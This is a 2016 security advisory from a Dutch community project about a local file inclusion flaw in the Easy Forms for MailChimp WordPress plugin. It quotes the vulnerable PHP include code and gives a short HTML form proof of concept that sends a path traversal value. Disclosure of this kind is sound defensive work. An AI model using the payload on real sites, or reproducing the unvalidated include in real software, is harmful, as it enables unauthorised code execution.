WordPress Easy Forms for MailChimp plugin version 6.0.5.5 suffers from a local file inclusion vulnerability.
f9cad639aaef7cf5440fda2fd29535f1cb187e2e5bf1688b5d20fa6b3111e0d5
------------------------------------------------------------------------
Easy Forms for MailChimp Local File Inclusion vulnerability
------------------------------------------------------------------------
Yorick Koster, July 2016
------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
It was discovered that the Easy Forms for MailChimp WordPress plugin is
vulnerable to Local File Inclusion. This issue can potentially be
exploited to run arbitrary PHP code. In order to do so, the attacker
must be able to place an arbitrary PHP file on the target system. The
malicious file must have the .php extension.
------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0023
------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Easy Forms for MailChimp WordPress
Plugin version 6.0.5.5.
------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in Easy Forms for MailChimp 6.1.
------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/easy_forms_for_mailchimp_local_file_inclusion_vulnerability.html
The issue exists in the file /admin/partials/menu/options.php and is caused by the lack of input validation on the section request parameter. The vulnerable code is listed below.
<?php if( !isset( $_REQUEST['section'] ) || $_REQUEST['section'] == '' ) {
include YIKES_MC_PATH . 'admin/partials/menu/options-sections/general-settings.php';
} else {
if( isset( $_REQUEST['addon'] ) && $_REQUEST['addon'] == 'true' ) {
include apply_filters( 'yikes-mailchimp-'.$_REQUEST['section'].'-options-path' , '' );
} else {
include YIKES_MC_PATH . 'admin/partials/menu/options-sections/' . $_REQUEST['section'] . '.php';
}
}
?>
Proof of concept
<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=yikes-inc-easy-mailchimp-settings" method="POST">
<input type="hidden" name="section" value="../../edit-form" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.